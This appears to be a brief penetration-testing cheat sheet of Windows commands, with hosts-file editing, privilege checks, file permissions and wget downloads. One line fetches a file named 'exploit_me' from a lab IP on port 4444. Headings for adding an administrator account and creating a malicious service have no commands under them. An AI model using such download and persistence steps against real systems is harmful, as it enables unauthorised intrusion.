Windows useful commands
Generic useful Windows commands
Modify the Hosts File, access the Windows hosts file to modify hostname mappings:
echo 10.10.187.117 xx.local >> C:\Windows\System32\drivers\etc\hostsCheck User Privileges, display the privileges of the currently logged-in user:
whoami /privCheck File Access Permissions, list the access control details for a specified file:
icaclsDownload a File from an HTTP Server
wget http://xxxxx/xxx -outfile xxTransfer Files between Virtual Machines
wget http://10.10.134.86:4444/exploit_meAdd a Local Windows User and Assign to Administrators
Convert VHDX to VDI using VirtualBox
File shredding
Other Powershell useful command's
Create malicious service
Last updated
